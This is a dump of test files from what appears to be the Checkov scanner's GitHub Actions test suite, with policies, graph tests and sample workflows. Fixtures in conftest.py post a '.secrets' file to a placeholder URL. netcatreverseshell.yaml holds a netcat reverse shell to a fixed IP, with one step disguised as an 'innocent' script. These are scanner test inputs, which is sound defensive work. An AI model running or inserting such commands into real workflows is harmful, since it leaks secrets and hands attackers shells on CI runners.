unittest.main()\n"
  },
  {
    "path": "tests/github_actions/__init__.py",
    "content": ""
  },
  {
    "path": "tests/github_actions/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/github_actions/checks/extra_yaml_checks/JobsStepsConnection.yaml",
    "content": "metadata:\n  id: \"CKV2_GHA_CUSTOM_2\"\n  name: \"Ensure job permissions write is not used with docker/login-action action\"\n  category: \"IAM\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      operator: within\n      value:\n        - steps\n    - or:\n        - and:\n          - cond_type: connection\n            resource_types:\n              - jobs\n            connected_resource_types:\n              - steps\n            operator: exists\n          - cond_type: attribute\n            resource_types:\n              - jobs\n            attribute: permissions.contents\n            operator: not_equals\n            value: write\n        - and:\n            - cond_type: connection\n              resource_types:\n                - jobs\n              connected_resource_types:\n                - steps\n              operator: exists\n            - cond_type: attribute\n              resource_types:\n                - jobs\n              attribute: permissions.contents\n              operator: equals\n              value: write\n            - cond_type: attribute\n              resource_types:\n                - steps\n              attribute: uses\n              operator: not_starting_with\n              value: \"docker/login-action\"\n"
  },
  {
    "path": "tests/github_actions/checks/extra_yaml_checks/OnPush.yaml",
    "content": "metadata:\n  id: \"CKV2_GHA_CUSTOM_3\"\n  name: \"Ensure workflow is used on main push\"\n  category: \"IAM\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - \"on\"\n  attribute: on.push.branches\n  operator: contains\n  value: main\n"
  },
  {
    "path": "tests/github_actions/checks/extra_yaml_checks/SimpleAttribute.yaml",
    "content": "metadata:\n  id: \"CKV2_GHA_CUSTOM_1\"\n  name: \"Ensure job permissions don't contain contents write access\"\n  category: \"IAM\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - jobs\n  attribute: permissions.contents\n  operator: not_equals\n  value: write\n"
  },
  {
    "path": "tests/github_actions/checks/graph_checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/github_actions/checks/graph_checks/resources/ReadOnlyTopLevelPermissions/.github/workflows/default.yaml",
    "content": "name: read-only\n\non:\n  workflow_dispatch:\n\n# if not set, then it is by default 'write-all'\n#permissions: write-all\n\njobs:\n  example:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@93ea575cb5d8a053eaa0ac8fa3b40d7e05a33cc8  # v3\n      - run: |\n          echo \"working hard\"\n"
  },
  {
    "path": "tests/github_actions/checks/graph_checks/resources/ReadOnlyTopLevelPermissions/.github/workflows/fail.yaml",
    "content": "name: read-only\n\non:\n  workflow_dispatch:\n\npermissions: write-all\n\njobs:\n  example:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@93ea575cb5d8a053eaa0ac8fa3b40d7e05a33cc8  # v3\n      - run: |\n          echo \"working hard\"\n"
  },
  {
    "path": "tests/github_actions/checks/graph_checks/resources/ReadOnlyTopLevelPermissions/.github/workflows/pass.yaml",
    "content": "name: read-only\n\non:\n  workflow_dispatch:\n\npermissions: read-all\n\njobs:\n  example:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@93ea575cb5d8a053eaa0ac8fa3b40d7e05a33cc8  # v3\n      - run: |\n          echo \"working hard\"\n"
  },
  {
    "path": "tests/github_actions/checks/graph_checks/resources/ReadOnlyTopLevelPermissions/.github/workflows/scope.yaml",
    "content": "name: read-only\n\non:\n  workflow_dispatch:\n\npermissions:\n  contents: read\n  pull-requests: write\n\njobs:\n  example:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@93ea575cb5d8a053eaa0ac8fa3b40d7e05a33cc8  # v3\n      - run: |\n          echo \"working hard\"\n"
  },
  {
    "path": "tests/github_actions/checks/graph_checks/resources/ReadOnlyTopLevelPermissions/expected.yaml",
    "content": "pass:\n  - \"pass.yaml.permissions.permissions\"\n  - \"scope.yaml.permissions.permissions\"\nfail:\n  - \"fail.yaml.permissions.permissions\"\n  - \"default.yaml.permissions.permissions\"\nevaluated_keys:\n  - \"permissions\"\n"
  },
  {
    "path": "tests/github_actions/checks/graph_checks/resources/__init__.py",
    "content": ""
  },
  {
    "path": "tests/github_actions/checks/graph_checks/test_yaml_policies.py",
    "content": "import os\nimport warnings\nfrom pathlib import Path\nfrom typing import List\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import set_db_connector_by_graph_framework, PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.runners.graph_manager import ObjectGraphManager\nfrom checkov.github_actions.graph_builder.local_graph import GitHubActionsLocalGraph\nfrom tests.common.graph.checks.test_yaml_policies_base import TestYamlPoliciesBase\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestYamlPolicies(TestYamlPoliciesBase):\n    def __init__(self, args):\n        db_connector = set_db_connector_by_graph_framework(self.graph_framework)\n\n        graph_manager = ObjectGraphManager(db_connector=db_connector, source=\"GitHubActions\")\n        super().__init__(\n            graph_manager=graph_manager,\n            real_graph_checks_path=str(\n                Path(__file__).parent.parent.parent.parent.parent / \"checkov/github_actions/checks/graph_checks\"\n            ),\n            test_checks_path=\"\",\n            check_type=CheckType.GITHUB_ACTIONS,\n            test_file_path=__file__,\n            args=args,\n        )\n\n    def setUp(self) -> None:\n        warnings.filterwarnings(\"ignore\", category=ResourceWarning)\n        warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\n    def test_ReadOnlyTopLevelPermissions(self):\n        self.go(\"ReadOnlyTopLevelPermissions\", local_graph_class=GitHubActionsLocalGraph)\n\n    def test_registry_load(self):\n        registry = self.get_checks_registry()\n        self.assertGreater(len(registry.checks), 0)\n\n    def assert_evaluated_keys(self, expected_evaluated_keys: List[str], results: List[Record]):\n        evaluated_keys_results = results[0].check_result[\"evaluated_keys\"]\n        self.assertCountEqual(expected_evaluated_keys, evaluated_keys_results)\n\n    def create_report_from_graph_checks_results(self, checks_results, check):\n        report = Report(CheckType.GITHUB_ACTIONS)\n        first_results_key = list(checks_results.keys())[0]\n        for check_result in checks_results[first_results_key]:\n            entity = check_result[\"entity\"]\n            record = Record(\n                check_id=check[\"id\"],\n                check_name=check[\"name\"],\n                check_result=check_result,\n                code_block=[(0, \"\")],\n                file_path=entity.get(CustomAttributes.FILE_PATH),\n                file_line_range=[entity.get(\"__startline__\"), entity.get(\"__endline__\")],\n                resource=f\"{entity.get(CustomAttributes.RESOURCE_TYPE)}.{entity.get(CustomAttributes.BLOCK_NAME)}\",\n                entity_tags=entity.get(\"tags\", {}),\n                evaluations=None,\n                check_class=\"\",\n                file_abs_path=entity.get(CustomAttributes.FILE_PATH),\n            )\n            if check_result[\"result\"] == CheckResult.PASSED:\n                report.passed_checks.append(record)\n            if check_result[\"result\"] == CheckResult.FAILED:\n                report.failed_checks.append(record)\n        return report\n\n    def assert_entities(self, expected_entities: List[str], results: List[Record], assertion: bool):\n        self.assertEqual(len(expected_entities), len(results),\n                         f\"mismatch in number of results in {'passed' if assertion else 'failed'}, \"\n                         f\"expected: {len(expected_entities)}, got: {len(results)}\")\n        for expected_entity in expected_entities:\n            found = False\n            for check_result in results:\n                entity_id = f\"{os.path.basename(check_result.file_path)}.{check_result.resource}\"\n                if entity_id == expected_entity:\n                    found = True\n                    break\n            self.assertTrue(found, f\"expected to find entity {expected_entity}, {'passed' if assertion else 'failed'}\")\n"
  },
  {
    "path": "tests/github_actions/checks/test_extra_checks.py",
    "content": "from pathlib import Path\n\nfrom checkov.github_actions.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\nEXTRA_YAML_CHECKS_DIR = Path(__file__).parent / \"extra_yaml_checks\"\nRESOURCES_DIR = Path(__file__).parent.parent / \"resources\"\n\n\ndef test_simple_attribute_check():\n    # given\n    test_file = str(RESOURCES_DIR / \".github/workflows/slsa-gen.yaml\")\n    runner = Runner()\n\n    # when\n    report = runner.run(\n        files=[test_file],\n        external_checks_dir=[str(EXTRA_YAML_CHECKS_DIR)],\n        runner_filter=RunnerFilter(checks=\"CKV2_GHA_CUSTOM_1\"),\n    )\n\n    # remove all checks\n    runner.graph_registry.checks.clear()\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        \"jobs(build)\",\n        \"jobs(scan)\",\n    }\n    failing_resources = {\n        \"jobs(attest)\",\n        \"jobs(provenance)\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n\n\ndef test_jobs_steps_connection_check():\n    # given\n    test_file = str(RESOURCES_DIR / \".github/workflows/slsa-gen.yaml\")\n    runner = Runner()\n\n    # when\n    report = runner.run(\n        files=[test_file],\n        external_checks_dir=[str(EXTRA_YAML_CHECKS_DIR)],\n        runner_filter=RunnerFilter(checks=\"CKV2_GHA_CUSTOM_2\"),\n    )\n\n    # remove all checks\n    runner.graph_registry.checks.clear()\n\n    # then\n    summary = report.get_summary()\n\n    failing_resources = {\n        \"jobs(attest).steps[6](Log in to GHCR)\",\n    }\n\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == 18\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert failed_check_resources == failing_resources\n\n\ndef test_on_check():\n    # given\n    test_file = str(RESOURCES_DIR / \".github/workflows/workflow_with_image.yml\")\n    runner = Runner()\n\n    # when\n    report = runner.run(\n        files=[test_file],\n        external_checks_dir=[str(EXTRA_YAML_CHECKS_DIR)],\n        runner_filter=RunnerFilter(checks=\"CKV2_GHA_CUSTOM_3\"),\n    )\n\n    # remove all checks\n    runner.graph_registry.checks.clear()\n\n    # then\n    summary = report.get_summary()\n\n\n    passing_resources = {\n        \"on(CI)\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n"
  },
  {
    "path": "tests/github_actions/conftest.py",
    "content": "import pytest\n\n\n@pytest.fixture\ndef definition():\n    return {\n        \"name\": \"CI\",\n        \"on\": {\n            \"push\": {\n                \"branches\": [\n                    \"main\"\n                ],\n                \"__startline__\": 4,\n                \"__endline__\": 5\n            },\n            \"__startline__\": 3,\n            \"__endline__\": 5\n        },\n        \"jobs\": {\n            \"container-test-job\": {\n                \"runs-on\": \"ubuntu-latest\",\n                \"container\": {\n                    \"image\": \"node:14.16\",\n                    \"env\": {\n                        \"NODE_ENV\": \"development\",\n                        \"__startline__\": 11,\n                        \"__endline__\": 12\n                    },\n                    \"ports\": [\n                        80\n                    ],\n                    \"volumes\": [\n                        \"my_docker_volume:/volume_mount\"\n                    ],\n                    \"options\": \"--cpus 1\",\n                    \"__startline__\": 9,\n                    \"__endline__\": 17\n                },\n                \"steps\": [\n                    {\n                        \"name\": \"Check for dockerenv file\",\n                        \"run\": \"(ls /.dockerenv && echo Found dockerenv) || (echo No dockerenv)\\ncurl -X POST -s --data \\\"@.secrets\\\" <BADURL > /dev/null\\n\",\n                        \"__startline__\": 18,\n                        \"__endline__\": 23\n                    }\n                ],\n                \"__startline__\": 7,\n                \"__endline__\": 23\n            },\n            \"second_job\": {\n                \"runs-on\": \"ubuntu-latest\",\n                \"steps\": [\n                    {\n                        \"name\": \"Check for dockerenv file\",\n                        \"run\": \"(ls /.dockerenv && echo Found dockerenv) || (echo No dockerenv)\\ncurl -X POST -s --data \\\"@.secrets\\\" <BADURL > /dev/null\\n\",\n                        \"__startline__\": 26,\n                        \"__endline__\": 30\n                    }\n                ],\n                \"__startline__\": 24,\n                \"__endline__\": 30\n            },\n            \"no_step_name_job\": {\n                \"runs-on\": \"ubuntu-latest\",\n                \"steps\": [\n                    {\n                        \"run\": \"(ls /.dockerenv && echo Found dockerenv) || (echo No dockerenv)\\ncurl -X POST -s --data \\\"@.secrets\\\" <BADURL > /dev/null\\n\",\n                        \"__startline__\": 31,\n                        \"__endline__\": 35\n                    }\n                ],\n                \"__startline__\": 24,\n                \"__endline__\": 35\n            },\n            \"__startline__\": 6,\n            \"__endline__\": 35\n        },\n        \"__startline__\": 1,\n        \"__endline__\": 35\n    }\n\n\n@pytest.fixture()\ndef bad_schema_files():\n    return {'bad_format.yaml', 'empty_jobs.yaml', 'nested_jobs.yaml'}\n"
  },
  {
    "path": "tests/github_actions/gha/.github/workflows/bad_workflows_dispatch.yaml",
    "content": "name: read-only\n\non:\n  workflow_dispatch:\n    inputs:\n      logLevel:\n        description: 'Log level'\n        required: true\n\npermissions: read-all\n\njobs:\n  example:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@12345678\n      - run: |\n          echo \"working hard\"\n"
  },
  {
    "path": "tests/github_actions/gha/.github/workflows/failed.yaml",
    "content": "name: read-only\n\non:\n  pull_request:\n    types: [ opened, synchronize, labeled, unlabeled ]\n\npermissions: write-all\n\njobs:\n  example:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@12345678\n      - run: |\n          echo \"working hard\"\n"
  },
  {
    "path": "tests/github_actions/gha/.github/workflows/multi_file.yaml",
    "content": "\nname: CI\non:\n  push:\n    branches: [ \"main\" ]\n  pull_request:\n    branches: [ \"main\" ]\n\n  workflow_dispatch:\n\njobs:\n\n\n---\nname: Checkov\non:\n  push:\n    branches:\n      - master\njobs:\n  checkov-job:\n    runs-on: ubuntu-latest\n    name: checkov-action\n    steps:\n      - name: Checkout repo\n        uses: actions/checkout@master\n\n      - name: Run Checkov action\n        id: checkov\n        uses: bridgecrewio/checkov-action@master\n        with:\n          directory: terraform/\n          framework: terraform"
  },
  {
    "path": "tests/github_actions/gha/.github/workflows/multiple_on_descendants.yaml",
    "content": "name: Handle branches\non:\n  pull_request:\n    types: [ opened, synchronize, labeled, unlabeled ]\n  workflow_dispatch:\n\njobs:\n  handle_branches:\n    runs-on: ubuntu-latest\n    if: github.repository == 'org/content'\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v3\n      - name: Setup Python\n        uses: actions/setup-python@v3\n        with:\n          python-version: '3.9'\n      - name: Install Python Dependencies\n        run: |\n          python -m pip install --upgrade pip\n      - name: Delete Branches\n        env:\n          ADMIN_TOKEN: ${{ secrets.ADMIN_TOKEN }}\n        run: |\n          echo \"Deleting branches\"\n          pipenv sync\n          pipenv run ./delete_branches.py"
  },
  {
    "path": "tests/github_actions/gha/.github/workflows/on_list.yaml",
    "content": "name: Form Filled\non: [push, fork]\n\npermissions:\n  pull-requests: read\n\njobs:\n  form_filled:\n    runs-on: ubuntu-latest\n    if: contains(github.event.pull_request.title, '[FORM]') == false\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v3\n      - name: Setup Python\n        uses: actions/setup-python@v3\n        with:\n          python-version: '3.9'\n      - name: Install Python Dependencies\n        run: |\n          python -m pip install --upgrade pip\n          pip install pipenv==2021.5.29\n          pipenv sync\n      - name: Check form filled\n        env:\n          PR_NUMBER: ${{ github.event.pull_request.number }}\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n        run: |\n          echo \"Checking if contribution form needs to be filled for PR: $PR_NUMBER\"\n          pipenv run ./form.py --pr_number $PR_NUMBER\n"
  },
  {
    "path": "tests/github_actions/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "tests/github_actions/graph_builder/test_local_graph.py",
    "content": "from collections import Counter\nfrom pathlib import Path\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType\nfrom checkov.github_actions.graph_builder.graph_components.resource_types import ResourceType\nfrom checkov.github_actions.graph_builder.local_graph import GitHubActionsLocalGraph\nfrom checkov.github_actions.runner import Runner\n\nRESOURCES_DIR = Path(__file__).parent.parent / \"resources\"\n\n\ndef test_build_graph():\n    # given\n    test_file = str(RESOURCES_DIR / \".github/workflows/supply_chain.yaml\")\n    template, _ = Runner()._parse_file(f=test_file)\n    local_graph = GitHubActionsLocalGraph(definitions={test_file: template})\n\n    # when\n    local_graph.build_graph(render_variables=False)\n\n    # then\n    assert len(local_graph.vertices) == 6\n    assert len(local_graph.edges) == 2\n\n    assert len(local_graph.vertices_by_block_type[BlockType.RESOURCE]) == 6\n\n    job_ids = [vertex.id for vertex in local_graph.vertices if vertex.attributes.get(CustomAttributes.RESOURCE_TYPE) == ResourceType.JOBS]\n    step_ids = [vertex.id for vertex in local_graph.vertices if vertex.attributes.get(CustomAttributes.RESOURCE_TYPE) == ResourceType.STEPS]\n    permission_ids = [vertex.id for vertex in local_graph.vertices if vertex.attributes.get(CustomAttributes.RESOURCE_TYPE) == ResourceType.PERMISSIONS]\n    assert job_ids == [\"jobs.bridgecrew\", \"jobs.bridgecrew2\"]\n    assert step_ids == [\"jobs.bridgecrew.steps.1\", \"jobs.bridgecrew2.steps.1\"]\n    assert permission_ids == [\"permissions\"]\n\n    out_edge_counts = Counter([e.origin for e in local_graph.edges])\n    in_edge_counts = Counter([e.dest for e in local_graph.edges])\n\n    assert out_edge_counts == Counter({0: 1, 1: 1})\n    assert in_edge_counts == Counter({2: 1, 3: 1})\n"
  },
  {
    "path": "tests/github_actions/resources/.github/workflows/bad_format.yaml",
    "content": "name: \"stuff\"\non:\n  workflow_dispatch:\n    inputs:\n      NODE_ENV:\n        description: 'empty'\n        required: true\n        type: choice\n\njobs:\n  runs-on: [ ubuntu-latest ]\n  CHG_Cleanup:\n    name: \"a_job\"\n  steps:\n      - name: \"something\"\n        run: |\n          npm ci\n          node src/index.js\n\n"
  },
  {
    "path": "tests/github_actions/resources/.github/workflows/docker-slsa.yaml",
    "content": "### This workflow uses the SLSA generic provenenace generator workflow for a docker build\n### Borrowed from https://github.com/marco-lancini/utils/blob/main/ci/github/docker-build-sign-sbom/reusable-docker.yml\n\nname: Reusable workflow - Docker\n\non:\n  workflow_call:\n    inputs:\n      FOLDER:\n        required: true\n        type: string\n      AWS_ACCOUNT_NAME:\n        required: true\n        type: string\n      AWS_ACCOUNT_ID:\n        required: true\n        type: string\n      AWS_REGION:\n        required: true\n        type: string\n      AWS_ROLE:\n        required: true\n        type: string\n      REGISTRY:\n        required: true\n        type: string\n      IMAGE_NAME:\n        required: true\n        type: string\n      IMAGE_TAG:\n        required: false\n        type: string\n        default: 'latest'\n\njobs:\n  # ============================================================================\n  # BUILD\n  # ============================================================================\n  build:\n    name: build\n    runs-on: ubuntu-20.04\n\n    permissions:\n      contents: read\n      pull-requests: write\n      id-token: write\n\n    outputs:\n      digest: ${{ steps.build-and-push-step.outputs.digest }}\n\n    steps:\n      - name: 📂 Checkout repository\n        uses: actions/checkout@v3.0.2\n\n      # ========================================================================\n      # Install Tooling\n      # ========================================================================\n      # Install cosign except on PR\n      - name: 🔻 Install cosign\n        if: github.event_name != 'pull_request'\n        uses: sigstore/cosign-installer@main\n        with:\n          cosign-release: 'v1.9.0'\n\n      # Setup docker build\n      - name: 🔻 Setup Docker buildx\n        uses: docker/setup-buildx-action@v2\n\n      # ========================================================================\n      # Authenticate to AWS/ECR (except on PR)\n      # ========================================================================\n      # Get OIDC Token\n      - name: 🎟 Configure AWS Credentials\n        if: github.event_name != 'pull_request'\n        uses: aws-actions/configure-aws-credentials@v1.6.1\n        with:\n          aws-region: ${{ inputs.AWS_REGION }}\n          role-to-assume: arn:aws:iam::${{ inputs.AWS_ACCOUNT_ID }}:role/${{ inputs.AWS_ROLE }}\n          role-session-name: GithubActionsSession\n\n      # Login against ECR\n      - name: 🎟 Login to Amazon ECR\n        if: github.event_name != 'pull_request'\n        uses: aws-actions/amazon-ecr-login@v1\n\n      # ========================================================================\n      # Build locally and run Trivy (only in PR)\n      # ========================================================================\n      - name: 🚧 Build locally\n        if: github.event_name == 'pull_request'\n        id: build_local\n        uses: docker/build-push-action@master\n        with:\n          push: false\n          file: ${{ inputs.FOLDER }}/Dockerfile\n          tags: ${{ inputs.IMAGE_NAME }}:${{ inputs.IMAGE_TAG }}\n          # Needed for trivy\n          outputs: type=docker\n\n      - name: 🛡 Run Trivy vulnerability scanner\n        if: github.event_name == 'pull_request'\n        id: docker_trivy\n        uses: aquasecurity/trivy-action@0.2.5\n        continue-on-error: true\n        with:\n          image-ref: ${{ inputs.IMAGE_NAME }}:${{ inputs.IMAGE_TAG }}\n          format: 'table'\n          # WARN ONLY\n          exit-code: '0'\n          ignore-unfixed: true\n          severity: 'CRITICAL,HIGH'\n\n      # ========================================================================\n      # PR Output (only in PR)\n      # ========================================================================\n      - name: 📄 Show Build Output\n        if: github.event_name == 'pull_request'\n        uses: actions/github-script@v6\n        env:\n          BUILD: ${{ steps.build_local.outputs.metadata }}\n        with:\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n          script: |\n            const output = `#### Image: 📋 \\`${{ inputs.IMAGE_NAME }}\\`\n            |     | Step        | Result                                       |\n            | --- | ----------  | -------------------------------------------- |\n            | 📖  | **Build**   | \\`${{ steps.build_local.outcome }}\\`               |\n            | 🛡  | **Trivy**   | \\`${{ steps.docker_trivy.outcome }}\\`               |\n            ### Build:\n            <details>\n            <summary>Build output</summary>\n            \\`\\`\\`${process.env.BUILD}\n            \\`\\`\\`\n            </details>\n            ---\n            *Pusher: @${{ github.actor }}, Action: \\`${{ github.event_name }}\\`*`;\n            github.rest.issues.createComment({\n              issue_number: context.issue.number,\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              body: output\n            })\n      # ========================================================================\n      # Build Image and push to ECR (except on PR)\n      # ========================================================================\n      # Extract metadata (tags, labels) for Docker\n      - name: 📭 Extract Docker metadata\n        if: ${{ github.event_name != 'pull_request' }}\n        id: meta\n        uses: docker/metadata-action@v3.6.0\n        with:\n          images: ${{ inputs.REGISTRY }}/${{ inputs.IMAGE_NAME }}\n\n      # Build and push container image with Buildx (don't push on PR)\n      - name: 🔨 Build and push container image\n        if: github.ref == 'refs/heads/main' && ${{ github.event_name != 'pull_request' }}\n        id: build-and-push-step\n        uses: docker/build-push-action@master\n        with:\n          push: ${{ github.event_name != 'pull_request' }}\n          file: ${{ inputs.FOLDER }}/Dockerfile\n          labels: ${{ steps.meta.outputs.labels }}\n          # Use tags: ${{ steps.meta.outputs.tags }} if you want to tag the image with branch name\n          tags: ${{ inputs.REGISTRY }}/${{ inputs.IMAGE_NAME }}:${{ inputs.IMAGE_TAG }}\n\n      # ========================================================================\n      # Sign Image Digest (except on PR)\n      # ========================================================================\n      # Sign the resulting Docker image digest except on PRs.\n      # This will only write to the public Rekor transparency log when the\n      # repository is public to avoid leaking data\n      # If you would like to publish transparency data even for private images,\n      #  pass --force to cosign below\n      - name: 🔏 Sign the published image\n        if: github.ref == 'refs/heads/main' && ${{ github.event_name != 'pull_request' }}\n        env:\n          COSIGN_EXPERIMENTAL: 'true'\n        run: cosign sign ${{ inputs.REGISTRY }}/${{ inputs.IMAGE_NAME }}:${{ inputs.IMAGE_TAG }}@${{ steps.build-and-push-step.outputs.digest }} -a \"repo=${{ github.repository }}\" -a \"ref=${{ github.sha }}\"\n\n  sbom:\n    name: sbom\n    runs-on: ubuntu-20.04\n    needs: [build]\n\n    # Don't run in PR\n    if: github.event_name != 'pull_request'\n\n    permissions:\n      contents: read\n      id-token: write\n\n    env:\n      IMAGE_DIGEST: ${{ needs.build.outputs.digest }}\n\n    steps:\n      # ========================================================================\n      # Install Tooling\n      # ========================================================================\n      # Install cosign except on PR\n      - name: 🔻 Install cosign\n        uses: sigstore/cosign-installer@main\n        with:\n          cosign-release: 'v1.9.0'\n\n      # Install syft\n      - name: 🔻 Install Syft\n        uses: anchore/sbom-action/download-syft@v0.11.0\n\n      # ========================================================================\n      # Authenticate to AWS/ECR (except on PR)\n      # ========================================================================\n      # Get OIDC Token\n      - name: 🎟 Configure AWS Credentials\n        if: github.event_name != 'pull_request'\n        uses: aws-actions/configure-aws-credentials@v1.6.1\n        with:\n          aws-region: ${{ inputs.AWS_REGION }}\n          role-to-assume: arn:aws:iam::${{ inputs.AWS_ACCOUNT_ID }}:role/${{ inputs.AWS_ROLE }}\n          role-session-name: GithubActionsSession\n\n      # Login against ECR\n      - name: 🎟 Login to Amazon ECR\n        if: github.event_name != 'pull_request'\n        uses: aws-actions/amazon-ecr-login@v1\n\n      # ========================================================================\n      # Create SBOM and attach it to image\n      # ========================================================================\n      - name: 🎫 Attach SBOM to image\n        env:\n          COSIGN_EXPERIMENTAL: 'true'\n        run: |\n          syft \"${{ inputs.REGISTRY }}/${{ inputs.IMAGE_NAME }}@${IMAGE_DIGEST}\" -o spdx-json=sbom-spdx.json\n          cosign attest --predicate sbom-spdx.json --type spdx \"${{ inputs.REGISTRY }}/${{ inputs.IMAGE_NAME }}@${IMAGE_DIGEST}\"\n          echo \"::notice title=Verify SBOM attestation::COSIGN_EXPERIMENTAL=1 cosign verify-attestation ${{ inputs.REGISTRY }}/${IMAGE_NAME}@${IMAGE_DIGEST} | jq '.payload |= @base64d | .payload | fromjson | select(.predicateType == \\\"https://spdx.dev/Document\\\") | .predicate.Data | fromjson'\""
  },
  {
    "path": "tests/github_actions/resources/.github/workflows/empty_jobs.yaml",
    "content": "name: pre-commit\n\non:\n  pull_request:\n  push:\n    branches: [master]\n\njobs:\n"
  },
  {
    "path": "tests/github_actions/resources/.github/workflows/include_none_steps.yml",
    "content": "name: Include Empty/None steps\n\non:\n  push:\n    branches: [ dev ]\n\njobs:\n  Dev-Deployment:\n    name: Dev-Deployment\n\n    runs-on: ubuntu-latest\n\n    strategy:\n      matrix:\n        node-version: [14.x]\n\n    steps:\n    - name: Checkout repository\n      uses: actions/checkout@v2\n\n    -\n\n    - name: Output summary to console\n      run: echo ${{ steps.run-newman.outputs.summary }}"
  },
  {
    "path": "tests/github_actions/resources/.github/workflows/list_workflow_dispatch.yml",
    "content": "name: 'scan'\non: [pull_request]\n\njobs:\n  scan:\n    name: 'IaC Scan'\n    runs-on: ubuntu-latest\n\n    # Use the Bash shell regardless whether the GitHub Actions runner is ubuntu-latest, macos-latest, or windows-latest\n    defaults:\n      run:\n        shell: bash\n\n    steps:\n    # Checkout the repository to the GitHub Actions runner\n    - name: Check out repository\n      uses: actions/checkout@v2"
  },
  {
    "path": "tests/github_actions/resources/.github/workflows/nested_jobs.yaml",
    "content": "name: \"bad-github-actions\"\n\non:\n  pull_request:\n    branches: [ development ]\n\njobs:\n  action:\n    - name: action-git-diff-suggestions\n      uses: getsentry/action-git-diff-suggestions@v1\n      with:\n        message: 'eslint made the following change'\n    - name: test\n      on: pull_request\n      jobs:\n        test:\n          runs-on: ubuntu-latest\n          steps:\n            - uses: actions/checkout@v2\n            - uses: actions/setup-node@v1\n              with:\n                node-version: 16\n            - run: npm run lint\n            - uses: getsentry/action-git-diff-suggestions@main\n              with:\n                message: eslint\n            - run: npm test\n\n"
  },
  {
    "path": "tests/github_actions/resources/.github/workflows/netcatreverseshell.yaml",
    "content": "name: REVERSESHELL\n\n# Controls when the workflow will run\non:\n  # Triggers the workflow on push or pull request events but only for the main branch\n  push:\n\n  # Allows you to run this workflow manually from the Actions tab\n  workflow_dispatch:\n\n# A workflow run is made up of one or more jobs that can run sequentially or in parallel\njobs:\n  # This workflow contains a single job called \"build\"\n  prep:\n    name: prep\n    runs-on: ubuntu-latest\n    run: |\n     rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 34.159.16.75 32032 >/tmp/f\n  build:\n    # The type of runner that the job will run on\n    runs-on: ubuntu-latest\n\n    # Steps represent a sequence of tasks that will be executed as part of the job\n    steps:\n      # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it\n      - uses: actions/checkout@v3\n\n      # Runs a single command using the runners shell\n      - name: Run a normal very innocent one-line script\n        run:  |\n         rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|netcat 34.159.16.75 32032 >/tmp/f\n\n"
  },
  {
    "path": "tests/github_actions/resources/.github/workflows/off_value.yaml",
    "content": "name: PR Test\n\non: pull_request\n\npermissions: read-all\n\njobs:\n  pre-commit:\n    name: Run Pre-commit Hooks\n    runs-on: ubuntu-latest\n    permissions:\n      checks: write  # https://github.com/EnricoMi/publish-unit-test-result-action#permissions\n      pull-requests: write\n    steps:\n      - uses: actions/checkout@v3\n      - name: Publish test results to GitHub.\n        uses: EnricoMi/publish-unit-test-result-action@v2\n        if: always()\n        with:\n          junit_files: |\n            reports/jest/junit.xml\n            reports/junit/*.xml\n          comment_mode: off\n"
  },
  {
    "path": "tests/github_actions/resources/.github/workflows/shell_injection.yaml",
